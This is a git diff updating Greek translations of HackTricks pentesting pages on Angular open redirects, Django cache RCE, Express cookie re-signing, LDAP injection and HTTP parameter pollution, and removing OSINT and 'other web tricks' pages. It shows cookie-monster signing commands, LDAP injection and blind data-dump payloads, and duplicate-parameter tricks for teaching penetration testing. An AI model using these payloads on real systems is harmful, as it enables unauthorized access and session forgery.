έγγραφο για να εκμεταλλευτούμε ευπάθειες πελάτη στο Angular. Οι ιδιότητες και οι μέθοδοι `Document.location` μπορεί να είναι πηγές για επιτυχείς επιθέσεις ανοιχτής ανακατεύθυνσης όπως φαίνεται στο παράδειγμα: +* Σύμφωνα με την τεκμηρίωση του Angular, το Angular `Document` είναι το ίδιο με το DOM έγγραφο, που σημαίνει ότι είναι δυνατή η χρήση κοινών διαδρόμων για το DOM έγγραφο για να εκμεταλλευτούμε ευπάθειες πελάτη στο Angular. Οι ιδιότητες και οι μέθοδοι `Document.location` μπορεί να είναι πηγές για επιτυχείς επιθέσεις ανοιχτής ανακατεύθυνσης όπως φαίνεται στο παράδειγμα: ```tsx //app.component.ts @@ -533,7 +535,7 @@ this.document.location.href = 'https://google.com/about'; //app.component.html ``` -* Κατά τη διάρκεια της φάσης έρευνας, εξετάσαμε επίσης την κλάση `Location` του Angular για ευπάθειες ανοιχτής ανακατεύθυνσης, αλλά δεν βρέθηκαν έγκυροι διάδρομοι. Η `Location` είναι μια υπηρεσία Angular που μπορούν να χρησιμοποιήσουν οι εφαρμογές για να αλληλεπιδράσουν με την τρέχουσα διεύθυνση URL ενός περιηγητή. Αυτή η υπηρεσία έχει πολλές μεθόδους για να χειριστεί τη δεδομένη διεύθυνση URL - `go()`, `replaceState()`, και `prepareExternalUrl()`. Ωστόσο, δεν μπορούμε να τις χρησιμοποιήσουμε για ανακατεύθυνση σε εξωτερικό τομέα. Για παράδειγμα: +* Κατά τη διάρκεια της φάσης έρευνας, εξετάσαμε επίσης την κλάση `Location` του Angular για ευπάθειες ανοιχτής ανακατεύθυνσης, αλλά δεν βρέθηκαν έγκυροι διάδρομοι. Η `Location` είναι μια υπηρεσία Angular που μπορούν να χρησιμοποιήσουν οι εφαρμογές για να αλληλεπιδράσουν με την τρέχουσα διεύθυνση URL του περιηγητή. Αυτή η υπηρεσία έχει πολλές μεθόδους για να χειριστεί τη δεδομένη διεύθυνση URL - `go()`, `replaceState()`, και `prepareExternalUrl()`. Ωστόσο, δεν μπορούμε να τις χρησιμοποιήσουμε για ανακατεύθυνση σε εξωτερικό τομέα. Για παράδειγμα: ```tsx //app.component.ts @@ -558,7 +560,7 @@ console.log(this.location.go("http://google.com/about")); ``` Αποτέλεσμα: `http://localhost:4200/http://google.com/about` -* Η κλάση `Router` του Angular χρησιμοποιείται κυρίως για πλοήγηση εντός του ίδιου τομέα και δεν εισάγει καμία επιπλέον ευπάθεια στην εφαρμογή: +* Η κλάση `Router` του Angular χρησιμοποιείται κυρίως για πλοήγηση εντός του ίδιου τομέα και δεν εισάγει επιπλέον ευπάθειες στην εφαρμογή: ```jsx //app-routing.module.ts @@ -568,7 +570,7 @@ const routes: Routes = [ Αποτέλεσμα: `http://localhost:4200/https:` -Οι παρακάτω μέθοδοι πλοηγούν επίσης εντός του πεδίου του τομέα: +Οι παρακάτω μέθοδοι πλοηγούν επίσης εντός του τομέα: ```jsx const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ] @@ -601,3 +603,7 @@ this.router.navigateByUrl('URL') * [Angular Document](https://angular.io/api/common/DOCUMENT) * [Angular Location](https://angular.io/api/common/Location) * [Angular Router](https://angular.io/api/router/Router) + + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index b9cd180e4..3a58994ec 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -1,8 +1,12 @@ # Django +{{#include /banners/hacktricks-training.md}} + ## Manipulation Cache για RCE Η προεπιλεγμένη μέθοδος αποθήκευσης cache του Django είναι [Python pickles](https://docs.python.org/3/library/pickle.html), η οποία μπορεί να οδηγήσει σε RCE αν [μη αξιόπιστη είσοδος αποσυμπιεστεί](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Αν ένας επιτιθέμενος μπορέσει να αποκτήσει δικαιώματα εγγραφής στην cache, μπορεί να κλιμακώσει αυτή την ευπάθεια σε RCE στον υποκείμενο διακομιστή**. Η cache του Django αποθηκεύεται σε μία από τέσσερις τοποθεσίες: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [μνήμη](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [αρχεία](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ή μια [βάση δεδομένων](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Η cache που αποθηκεύεται σε διακομιστή Redis ή βάση δεδομένων είναι οι πιο πιθανές διαδρομές επίθεσης (Redis injection και SQL injection), αλλά ένας επιτιθέμενος μπορεί επίσης να είναι σε θέση να χρησιμοποιήσει την cache βασισμένη σε αρχεία για να μετατρέψει μια αυθαίρετη εγγραφή σε RCE. Οι συντηρητές έχουν χαρακτηρίσει αυτό ως μη ζήτημα. Είναι σημαντικό να σημειωθεί ότι ο φάκελος αρχείων cache, το όνομα πίνακα SQL και οι λεπτομέρειες του διακομιστή Redis θα διαφέρουν ανάλογα με την υλοποίηση. Αυτή η αναφορά HackerOne παρέχει ένα εξαιρετικό, αναπαραγώγιμο παράδειγμα εκμετάλλευσης της cache του Django που αποθηκεύεται σε μια βάση δεδομένων SQLite: https://hackerone.com/reports/1415436 + +{{#include /banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md b/src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md deleted file mode 100644 index 0d5c123ee..000000000 --- a/src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md +++ /dev/null @@ -1 +0,0 @@ -# GWT - Google Web Toolkit diff --git a/src/network-services-pentesting/pentesting-web/nodejs-express.md b/src/network-services-pentesting/pentesting-web/nodejs-express.md index 10931a51b..f2fe33a8d 100644 --- a/src/network-services-pentesting/pentesting-web/nodejs-express.md +++ b/src/network-services-pentesting/pentesting-web/nodejs-express.md @@ -1,10 +1,12 @@ # NodeJS Express +{{#include /banners/hacktricks-training.md}} + ## Υπογραφή Cookie Το εργαλείο [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) είναι μια χρησιμότητα για την αυτοματοποίηση της δοκιμής και της επαναϋπογραφής των μυστικών cookie του Express.js. -### Ενιαίος cookie με συγκεκριμένο όνομα +### Ενιαίο cookie με συγκεκριμένο όνομα ```bash cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session ``` @@ -12,18 +14,18 @@ cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session ```bash cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst ``` -### Δοκιμάστε πολλαπλά cookies χρησιμοποιώντας τη λειτουργία batch +### Δοκιμή πολλαπλών cookies χρησιμοποιώντας τη λειτουργία παρτίδας ```bash cookie-monster -b -f cookies.json ``` -### Δοκιμάστε πολλαπλά cookies χρησιμοποιώντας τη λειτουργία batch με μια προσαρμοσμένη λίστα λέξεων +### Δοκιμή πολλαπλών cookies χρησιμοποιώντας λειτουργία batch με μια προσαρμοσμένη λίστα λέξεων ```bash cookie-monster -b -f cookies.json -w custom.lst ``` -### Κωδικοποιήστε και υπογράψτε ένα νέο cookie +### Encode and sign a new cookie Αν γνωρίζετε το μυστικό, μπορείτε να υπογράψετε το cookie. ```bash cookie-monster -e -f new_cookie.json -k secret ``` - +{{#include /banners/hacktricks-training.md}} diff --git a/src/online-platforms-with-api.md b/src/online-platforms-with-api.md deleted file mode 100644 index 1583167d3..000000000 --- a/src/online-platforms-with-api.md +++ /dev/null @@ -1,121 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -# [ProjectHoneypot](https://www.projecthoneypot.org/) - -Μπορείτε να ρωτήσετε αν μια διεύθυνση IP σχετίζεται με ύποπτες/κακόβουλες δραστηριότητες. Εντελώς δωρεάν. - -# [**BotScout**](http://botscout.com/api.htm) - -Ελέγξτε αν η διεύθυνση IP σχετίζεται με ένα bot που καταχωρεί λογαριασμούς. Μπορεί επίσης να ελέγξει ονόματα χρηστών και emails. Αρχικά δωρεάν. - -# [Hunter](https://hunter.io/) - -Βρείτε και επαληθεύστε emails. -Ορισμένα δωρεάν API requests, για περισσότερα χρειάζεται να πληρώσετε. -Εμπορικό; - -# [AlientVault](https://otx.alienvault.com/api) - -Βρείτε κακόβουλες δραστηριότητες που σχετίζονται με IPs και Domains. Δωρεάν. - -# [Clearbit](https://dashboard.clearbit.com/) - -Βρείτε σχετικά προσωπικά δεδομένα με ένα email \(προφίλ σε άλλες πλατφόρμες\), domain \(βασικές πληροφορίες εταιρείας, emails και άτομα που εργάζονται\) και εταιρείες \(λάβετε πληροφορίες εταιρείας από email\). -Πρέπει να πληρώσετε για να αποκτήσετε πρόσβαση σε όλες τις δυνατότητες. -Εμπορικό; - -# [BuiltWith](https://builtwith.com/) - -Τεχνολογίες που χρησιμοποιούνται από ιστοσελίδες. Ακριβό... -Εμπορικό; - -# [Fraudguard](https://fraudguard.io/) - -Ελέγξτε αν ένας host \(domain ή IP\) σχετίζεται με ύποπτες/κακόβουλες δραστηριότητες. Έχει κάποια δωρεάν πρόσβαση API. -Εμπορικό; - -# [FortiGuard](https://fortiguard.com/) - -Ελέγξτε αν ένας host \(domain ή IP\) σχετίζεται με ύποπτες/κακόβουλες δραστηριότητες. Έχει κάποια δωρεάν πρόσβαση API. - -# [SpamCop](https://www.spamcop.net/) - -Δείχνει αν ο host σχετίζεται με δραστηριότητα spam. Έχει κάποια δωρεάν πρόσβαση API. - -# [mywot](https://www.mywot.com/) - -Βασισμένο σε απόψεις και άλλες μετρήσεις, ελέγξτε αν ένα domain σχετίζεται με ύποπτες/κακόβουλες πληροφορίες. - -# [ipinfo](https://ipinfo.io/) - -Αποκτά βασικές πληροφορίες από μια διεύθυνση IP. Μπορείτε να δοκιμάσετε έως 100K/μήνα. - -# [securitytrails](https://securitytrails.com/app/account) - -Αυτή η πλατφόρμα παρέχει πληροφορίες σχετικά με domains και διευθύνσεις IP, όπως domains μέσα σε μια IP ή μέσα σε έναν server domain, domains που ανήκουν σε ένα email \(βρείτε σχετικά domains\), ιστορικό IP των domains \(βρείτε τον host πίσω από το CloudFlare\), όλα τα domains που χρησιμοποιούν έναν nameserver.... -Έχετε κάποια δωρεάν πρόσβαση. - -# [fullcontact](https://www.fullcontact.com/) - -Επιτρέπει την αναζήτηση με email, domain ή όνομα εταιρείας και την ανάκτηση σχετικών "προσωπικών" πληροφοριών. Μπορεί επίσης να επαληθεύσει emails. Υπάρχει κάποια δωρεάν πρόσβαση. - -# [RiskIQ](https://www.spiderfoot.net/documentation/) - -Πολλές πληροφορίες από domains και IPs ακόμη και στην δωρεάν/κοινότητα έκδοση. - -# [\_IntelligenceX](https://intelx.io/) - -Αναζητήστε Domains, IPs και emails και αποκτήστε πληροφορίες από dumps. Έχει κάποια δωρεάν πρόσβαση. - -# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/) - -Αναζητήστε με IP και συγκεντρώστε πληροφορίες σχετικές με ύποπτες δραστηριότητες. Υπάρχει κάποια δωρεάν πρόσβαση. - -# [Greynoise](https://viz.greynoise.io/) - -Αναζητήστε με IP ή εύρος IP και αποκτήστε πληροφορίες σχετικά με IPs που σκανάρουν το Διαδίκτυο. 15 ημέρες δωρεάν πρόσβαση. - -# [Shodan](https://www.shodan.io/) - -Αποκτήστε πληροφορίες σάρωσης μιας διεύθυνσης IP. Έχει κάποια δωρεάν πρόσβαση API. - -# [Censys](https://censys.io/) - -Πολύ παρόμοιο με το shodan - -# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) - -Βρείτε ανοιχτά S3 buckets αναζητώντας με λέξη-κλειδί. - -# [Dehashed](https://www.dehashed.com/data) - -Βρείτε διαρρεύσαντα διαπιστευτήρια emails και ακόμη και domains -Εμπορικό; - -# [psbdmp](https://psbdmp.ws/) - -Αναζητήστε pastebins όπου εμφανίστηκε ένα email. Εμπορικό; - -# [emailrep.io](https://emailrep.io/key) - -Αποκτήστε φήμη ενός email. Εμπορικό; - -# [ghostproject](https://ghostproject.fr/) - -Αποκτήστε κωδικούς πρόσβασης από διαρρεύσαντα emails. Εμπορικό; - -# [Binaryedge](https://www.binaryedge.io/) - -Αποκτήστε ενδιαφέρουσες πληροφορίες από IPs - -# [haveibeenpwned](https://haveibeenpwned.com/) - -Αναζητήστε με domain και email και δείτε αν έχει παραβιαστεί και κωδικούς πρόσβασης. Εμπορικό; - -[https://dnsdumpster.com/](https://dnsdumpster.com/)\(σε ένα εμπορικό εργαλείο;\) - -[https://www.netcraft.com/](https://www.netcraft.com/) \(σε ένα εμπορικό εργαλείο;\) - -[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(σε ένα εμπορικό εργαλείο;\) - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/other-web-tricks.md b/src/other-web-tricks.md deleted file mode 100644 index 5456de97c..000000000 --- a/src/other-web-tricks.md +++ /dev/null @@ -1,41 +0,0 @@ -# Άλλες Τεχνικές Ιστού - -{{#include ./banners/hacktricks-training.md}} - -### Header Host - -Πολλές φορές το back-end εμπιστεύεται το **Host header** για να εκτελέσει κάποιες ενέργειες. Για παράδειγμα, μπορεί να χρησιμοποιήσει την τιμή του ως το **domain για να στείλει μια επαναφορά κωδικού πρόσβασης**. Έτσι, όταν λάβετε ένα email με έναν σύνδεσμο για να επαναφέρετε τον κωδικό σας, το domain που χρησιμοποιείται είναι αυτό που βάλατε στο Host header. Στη συνέχεια, μπορείτε να ζητήσετε την επαναφορά κωδικού άλλων χρηστών και να αλλάξετε το domain σε ένα που ελέγχετε εσείς για να κλέψετε τους κωδικούς επαναφοράς τους. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). - -> [!WARNING] -> Σημειώστε ότι είναι πιθανό να μην χρειαστεί καν να περιμένετε τον χρήστη να κάνει κλικ στον σύνδεσμο επαναφοράς κωδικού για να αποκτήσετε το token, καθώς ίσως ακόμη και **τα φίλτρα spam ή άλλες ενδιάμεσες συσκευές/bots να κάνουν κλικ σε αυτό για να το αναλύσουν**. - -### Boolean συνεδρίας - -Ορισμένες φορές, όταν ολοκληρώνετε σωστά κάποια επαλήθευση, το back-end θα **προσθέσει απλώς ένα boolean με την τιμή "True" σε ένα χαρακτηριστικό ασφαλείας της συνεδρίας σας**. Στη συνέχεια, ένα διαφορετικό endpoint θα γνωρίζει αν περάσατε επιτυχώς αυτή την επαλήθευση.\ -Ωστόσο, αν **περάσετε την επαλήθευση** και η συνεδρία σας αποκτήσει αυτή την τιμή "True" στο χαρακτηριστικό ασφαλείας, μπορείτε να προσπαθήσετε να **πρόσβαση σε άλλους πόρους** που **εξαρτώνται από το ίδιο χαρακτηριστικό** αλλά που **δεν θα έπρεπε να έχετε άδειες** για πρόσβαση. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). - -### Λειτουργία εγγραφής - -Δοκιμάστε να εγγραφείτε ως ήδη υπάρχων χρήστης. Δοκιμάστε επίσης να χρησιμοποιήσετε ισοδύναμους χαρακτήρες (τελείες, πολλές κενές θέσεις και Unicode). - -### Κατάληψη email - -Εγγραφείτε σε ένα email, πριν το επιβεβαιώσετε αλλάξτε το email, στη συνέχεια, αν το νέο email επιβεβαίωσης σταλεί στο πρώτο εγγεγραμμένο email, μπορείτε να καταλάβετε οποιοδήποτε email. Ή αν μπορείτε να ενεργοποιήσετε το δεύτερο email επιβεβαιώνοντας το πρώτο, μπορείτε επίσης να καταλάβετε οποιονδήποτε λογαριασμό. - -### Πρόσβαση στο Εσωτερικό servicedesk εταιρειών χρησιμοποιώντας atlassian - -{{#ref}} -https://yourcompanyname.atlassian.net/servicedesk/customer/user/login -{{#endref}} - -### Μέθοδος TRACE - -Οι προγραμματιστές μπορεί να ξεχάσουν να απενεργοποιήσουν διάφορες επιλογές αποσφαλμάτωσης στο περιβάλλον παραγωγής. Για παράδειγμα, η μέθοδος HTTP `TRACE` έχει σχεδιαστεί για διαγνωστικούς σκοπούς. Αν είναι ενεργοποιημένη, ο web server θα απαντήσει σε αιτήματα που χρησιμοποιούν τη μέθοδο `TRACE` επαναλαμβάνοντας στην απάντηση το ακριβές αίτημα που ελήφθη. Αυτή η συμπεριφορά είναι συχνά αβλαβής, αλλά περιστασιακά οδηγεί σε αποκάλυψη πληροφοριών, όπως το όνομα εσωτερικών επικεφαλίδων αυθεντικοποίησης που μπορεί να προστεθούν σε αιτήματα από αντίστροφους μεσολαβητές.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) - -![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) - -{{#include ./banners/hacktricks-training.md}} - -### Same-Site Scripting - -Συμβαίνει όταν συναντάμε ένα domain ή υποdomain που επιλύεται σε localhost ή 127.0.0.1 λόγω ορισμένων λανθασμένων ρυθμίσεων DNS. Επιτρέπει σε έναν επιτιθέμενο να παρακάμψει τους περιορισμούς της RFC2109 (HTTP State Management Mechanism) για την ίδια προέλευση και επομένως να καταλάβει τα δεδομένα διαχείρισης κατάστασης. Μπορεί επίσης να επιτρέψει cross-site scripting. Μπορείτε να διαβάσετε περισσότερα γι' αυτό από [εδώ](https://seclists.org/bugtraq/2008/Jan/270) diff --git a/src/pentesting-dns.md b/src/pentesting-dns.md deleted file mode 100644 index faf516036..000000000 --- a/src/pentesting-dns.md +++ /dev/null @@ -1,9 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -**Ερευνήστε περισσότερα σχετικά με επιθέσεις στο DNS** - -**DNSSEC και DNSSEC3** - -**DNS στο IPv6** - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md index 15c64ca28..a7d77e94a 100644 --- a/src/pentesting-web/ldap-injection.md +++ b/src/pentesting-web/ldap-injection.md @@ -1,7 +1,5 @@ # LDAP Injection -## LDAP Injection - {{#include ../banners/hacktricks-training.md}} ## LDAP Injection @@ -14,7 +12,7 @@ ../network-services-pentesting/pentesting-ldap.md {{#endref}} -**LDAP Injection** είναι μια επίθεση που στοχεύει σε διαδικτυακές εφαρμογές που κατασκευάζουν δηλώσεις LDAP από είσοδο χρηστών. Συμβαίνει όταν η εφαρμογή **αποτυγχάνει να καθαρίσει σωστά** την είσοδο, επιτρέποντας στους επιτιθέμενους να **χειραγωγήσουν τις δηλώσεις LDAP** μέσω τοπικού proxy, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση ή χειραγώγηση δεδομένων. +**LDAP Injection** είναι μια επίθεση που στοχεύει σε διαδικτυακές εφαρμογές που κατασκευάζουν δηλώσεις LDAP από είσοδο χρηστών. Συμβαίνει όταν η εφαρμογή **αποτυγχάνει να καθαρίσει σωστά** την είσοδο, επιτρέποντας στους επιτιθέμενους να **χειριστούν δηλώσεις LDAP** μέσω τοπικού proxy, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση ή χειρισμό δεδομένων. {{#file}} EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf @@ -121,7 +119,7 @@ password=any ### Blind LDAP Injection -Μπορείτε να αναγκάσετε ψευδείς ή αληθείς απαντήσεις για να ελέγξετε αν επιστρέφονται δεδομένα και να επιβεβαιώσετε μια πιθανή Blind LDAP Injection: +Μπορείτε να αναγκάσετε ψευδείς ή αληθείς απαντήσεις για να ελέγξετε αν επιστρέφεται οποιαδήποτε δεδομένα και να επιβεβαιώσετε μια πιθανή Blind LDAP Injection: ```bash #This will result on True, so some information will be shown Payload: *)(objectClass=*))(&objectClass=void @@ -135,7 +133,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P ``` #### Dump data -Μπορείτε να επαναλάβετε τα γράμματα ascii, τους αριθμούς και τα σύμβολα: +Μπορείτε να επαναλάβετε τα γράμματα ascii, τους ψηφιακούς χαρακτήρες και τα σύμβολα: ```bash (&(sn=administrator)(password=*)) : OK (&(sn=administrator)(password=A*)) : KO diff --git a/src/pentesting-web/parameter-pollution.md b/src/pentesting-web/parameter-pollution.md index ad2f14d34..3ca02581c 100644 --- a/src/pentesting-web/parameter-pollution.md +++ b/src/pentesting-web/parameter-pollution.md @@ -1,13 +1,10 @@ # Parameter Pollution | JSON Injection -## Parameter Pollution - {{#include ../banners/hacktricks-training.md}} - ## HTTP Parameter Pollution (HPP) Overview -Η HTTP Parameter Pollution (HPP) είναι μια τεχνική όπου οι επιτιθέμενοι χειρίζονται τις παραμέτρους HTTP για να αλλάξουν τη συμπεριφορά μιας διαδικτυακής εφαρμογής με μη αναμενόμενους τρόπους. Αυτή η χειραγώγηση γίνεται προσθέτοντας, τροποποιώντας ή διπλασιάζοντας παραμέτρους HTTP. Η επίδραση αυτών των χειρισμών δεν είναι άμεσα ορατή στον χρήστη, αλλά μπορεί να αλλάξει σημαντικά τη λειτουργικότητα της εφαρμογής στην πλευρά του διακομιστή, με παρατηρήσιμες επιπτώσεις στην πλευρά του πελάτη. +Η HTTP Parameter Pollution (HPP) είναι μια τεχνική όπου οι επιτιθέμενοι χειρίζονται τις παραμέτρους HTTP για να αλλάξουν τη συμπεριφορά μιας διαδικτυακής εφαρμογής με μη αναμενόμενους τρόπους. Αυτή η χειραγώγηση γίνεται προσθέτοντας, τροποποιώντας ή διπλασιάζοντας παραμέτρους HTTP. Το αποτέλεσμα αυτών των χειρισμών δεν είναι άμεσα ορατό στον χρήστη, αλλά μπορεί να αλλάξει σημαντικά τη λειτουργικότητα της εφαρμογής στην πλευρά του διακομιστή, με παρατηρήσιμες επιπτώσεις στην πλευρά του πελάτη. ### Example of HTTP Parameter Pollution (HPP) @@ -32,7 +29,7 @@ - **Συγκείμενο:** Ένας μηχανισμός σύνδεσης που απαιτεί έναν Κωδικό Μίας Χρήσης (OTP) εκμεταλλεύτηκε. - **Μέθοδος:** Με την παρεμβολή του αιτήματος OTP χρησιμοποιώντας εργαλεία όπως το Burp Suite, οι επιτιθέμενοι διπλασίασαν την παράμετρο `email` στο αίτημα HTTP. -- **Αποτέλεσμα:** Ο OTP, που προοριζόταν για την αρχική διεύθυνση email, στάλθηκε αντί αυτού στη δεύτερη διεύθυνση email που καθορίστηκε στο χειραγωγημένο αίτημα. Αυτή η αδυναμία επέτρεψε μη εξουσιοδοτημένη πρόσβαση παρακάμπτοντας το προοριζόμενο μέτρο ασφαλείας. +- **Αποτέλεσμα:** Ο OTP, που προοριζόταν για το αρχικό email, στάλθηκε αντί για αυτό στη δεύτερη διεύθυνση email που καθορίστηκε στο χειραγωγημένο αίτημα. Αυτή η αδυναμία επέτρεψε μη εξουσιοδοτημένη πρόσβαση παρακάμπτοντας το προοριζόμενο μέτρο ασφαλείας. Αυτό το σενάριο αναδεικνύει μια κρίσιμη παράλειψη στην υποδομή της εφαρμογής, η οποία επεξεργάστηκε την πρώτη παράμετρο `email` για τη δημιουργία OTP αλλά χρησιμοποίησε την τελευταία για την παράδοση. @@ -41,20 +38,20 @@ - **Σενάριο:** Μια εφαρμογή επιτρέπει στους χρήστες να ενημερώνουν το API key τους μέσω μιας σελίδας ρυθμίσεων προφίλ. - **Διαδρομή Επίθεσης:** Ένας επιτιθέμενος ανακαλύπτει ότι προσθέτοντας μια επιπλέον παράμετρο `api_key` στο αίτημα POST, μπορεί να χειραγωγήσει το αποτέλεσμα της λειτουργίας ενημέρωσης του API key. - **Τεχνική:** Χρησιμοποιώντας ένα εργαλείο όπως το Burp Suite, ο επιτιθέμενος δημιουργεί ένα αίτημα που περιλαμβάνει δύο παραμέτρους `api_key`: μία νόμιμη και μία κακόβουλη. Ο διακομιστής, επεξεργαζόμενος μόνο την τελευταία εμφάνιση, ενημερώνει το API key στην τιμή που παρέχεται από τον επιτιθέμενο. -- **Αποτέλεσμα:** Ο επιτιθέμενος αποκτά έλεγχο στη λειτουργικότητα API του θύματος, ενδεχομένως αποκτώντας ή τροποποιώντας ιδιωτικά δεδομένα χωρίς εξουσιοδότηση. +- **Αποτέλεσμα:** Ο επιτιθέμενος αποκτά έλεγχο πάνω στη λειτουργικότητα API του θύματος, ενδεχομένως αποκτώντας ή τροποποιώντας ιδιωτικά δεδομένα χωρίς εξουσιοδότηση. -Αυτό το παράδειγμα υπογραμμίζει περαιτέρω την αναγκαιότητα για ασφαλή χειρισμό παραμέτρων, ειδικά σε λειτουργίες τόσο κρίσιμες όσο η διαχείριση API key. +Αυτό το παράδειγμα υπογραμμίζει περαιτέρω την αναγκαιότητα για ασφαλή διαχείριση παραμέτρων, ειδικά σε λειτουργίες τόσο κρίσιμες όσο η διαχείριση API key. ### Parameter Parsing: Flask vs. PHP Ο τρόπος που οι διαδικτυακές τεχνολογίες χειρίζονται διπλές παραμέτρους HTTP διαφέρει, επηρεάζοντας την ευαισθησία τους σε επιθέσεις HPP: -- **Flask:** Υιοθετεί την πρώτη τιμή παραμέτρου που συναντά, όπως `a=1` σε μια συμβολοσειρά ερωτήματος `a=1&a=2`, προτιμώντας την αρχική εμφάνιση σε σχέση με τις επόμενες διπλές. +- **Flask:** Υιοθετεί την πρώτη τιμή παραμέτρου που συναντά, όπως `a=1` σε μια συμβολοσειρά ερωτήματος `a=1&a=2`, προτιμώντας την αρχική εμφάνιση από τις επόμενες διπλές. - **PHP (σε Apache HTTP Server):** Αντίθετα, προτιμά την τελευταία τιμή παραμέτρου, επιλέγοντας `a=2` στο δεδομένο παράδειγμα. Αυτή η συμπεριφορά μπορεί ακούσια να διευκολύνει τις εκμεταλλεύσεις HPP τιμώντας την παραμετροποιημένη παράμετρο του επιτιθέμενου αντί της αρχικής. ## Parameter pollution by technology -Τα αποτελέσματα ελήφθησαν από [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89) +Τα αποτελέσματα προήλθαν από [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89) ### PHP 8.3.11 AND Apache 2.4.62 @@ -79,7 +76,7 @@ 1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping. 2. POST RequestMapping & PostMapping αναγνωρίζουν το name\[]. -3. Προτιμήστε το name αν το name και το name\[] υπάρχουν. +3. Προτιμήστε το name αν υπάρχουν και name και name\[]. 4. Συγκεντρώστε παραμέτρους π.χ. first,last. 5. POST RequestMapping & PostMapping αναγνωρίζουν παραμέτρους ερωτήματος με Content-Type. @@ -124,11 +121,11 @@ ```ini obj = {"test": "user", "test": "admin"} ``` -Η διεπαφή χρήστη μπορεί να πιστεύει την πρώτη εμφάνιση ενώ το backend χρησιμοποιεί τη δεύτερη εμφάνιση του κλειδιού. +Η διεπαφή χρήστη μπορεί να πιστεύει την πρώτη εμφάνιση ενώ η πίσω πλευρά χρησιμοποιεί τη δεύτερη εμφάνιση του κλειδιού. -### Σύγκρουση Κλειδιών: Συντομεύσεις Χαρακτήρων και Σχόλια +### Σύγκρουση Κλειδιών: Στενότητα Χαρακτήρων και Σχόλια -Ορισμένοι χαρακτήρες δεν θα ερμηνευτούν σωστά από την διεπαφή χρήστη, αλλά το backend θα τους ερμηνεύσει και θα χρησιμοποιήσει αυτά τα κλειδιά, αυτό θα μπορούσε να είναι χρήσιμο για **να παρακαμφθούν ορισμένοι περιορισμοί**: +Ορισμένοι χαρακτήρες δεν θα ερμηνευτούν σωστά από την διεπαφή χρήστη, αλλά η πίσω πλευρά θα τους ερμηνεύσει και θα χρησιμοποιήσει αυτά τα κλειδιά, αυτό θα μπορούσε να είναι χρήσιμο για **να παρακαμφθούν ορισμένοι περιορισμοί**: ```json {"test": 1, "test\[raw \x0d byte]": 2} {"test": 1, "test\ud800": 2} @@ -182,13 +179,13 @@ obj = {"test": 1, "test": 2} obj["test"] // 1 obj.toString() // {"test": 2} ``` -### Float και Ακέραιος +### Float and Integer Ο αριθμός ```undefined 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 ``` -μπορεί να αποκωδικοποιηθεί σε πολλαπλές αναπαραστάσεις, συμπεριλαμβανομένων: +μπορεί να αποκωδικοποιηθεί σε πολλές αναπαραστάσεις, συμπεριλαμβανομένων: ```undefined 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 9.999999999999999e95 diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index c8e5c2b15..1cfd1f91f 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -1,10 +1,8 @@ -# PostMessage Vulnerabilities - -## PostMessage Vulnerabilities +# Ευπάθειες PostMessage {{#include ../../banners/hacktricks-training.md}} -## Send **PostMessage** +## Στείλτε **PostMessage** **PostMessage** χρησιμοποιεί την παρακάτω συνάρτηση για να στείλει ένα μήνυμα: ```bash @@ -80,7 +78,7 @@ false ![](<../../images/image (618) (1).png>) -- **Μεταβείτε** στο _Elements --> Event Listeners_ στα εργαλεία προγραμματιστή του προγράμματος περιήγησης +- **Μεταβείτε** σε _Elements --> Event Listeners_ στα 